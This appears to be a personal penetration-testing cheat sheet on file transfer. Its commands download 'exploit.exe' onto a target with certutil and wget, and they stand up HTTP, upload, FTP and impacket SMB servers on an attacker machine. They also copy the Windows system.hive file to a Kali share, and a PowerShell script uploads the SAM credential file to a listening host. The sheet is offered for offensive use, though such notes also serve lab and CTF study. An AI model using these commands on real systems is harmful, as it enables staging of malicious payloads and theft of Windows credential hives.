Skip to content

File transfer

Certutil


certutil -urlcache -f http://10.10.119.141/exploit.exe exploit.exe

Http


python3 -m http.server 80

UploadServer

# https://pypi.org/project/uploadserver/
# sudo pip3 install uploadserver
python3 -m uploadserver

FTP


pip3 install pyftpdlib
python3 -m pyftpdlib 21

Wget


wget http://10.10.10.5/exploit.exe

SMB


setup server

sudo /opt/tools/impacket/examples/smbserver.py -smb2support public .
sudo /opt/tools/impacket/examples/smbserver.py -smb2support -username hacker -password hacker public .
copy file from windows to kali
copy C:\Users\admin\Desktop\system.hive \\<KALI_IP>\public\

PowerShell


linux

python3 -m uploadserver 8085

windows - get - wget

wget 10.10.91.141:8085/script.ps1 -O script.ps1

windows - powershell - FAIL - powershell is shit - overcomplicated shit

.\script.ps1

$Path = '~/SAM'
echo $Path

$Item = Get-Item -Path $Path
echo $Item

$Form = @{
    file = $Item
    fileName = $Item.Name
    category = 12
}
echo $Form

$Uri = "10.10.91.141:8085/upload"
echo $Uri

Invoke-WebRequest -Uri $Uri -Method Post -Form $Form -UseBasicParsing
echo "DONE"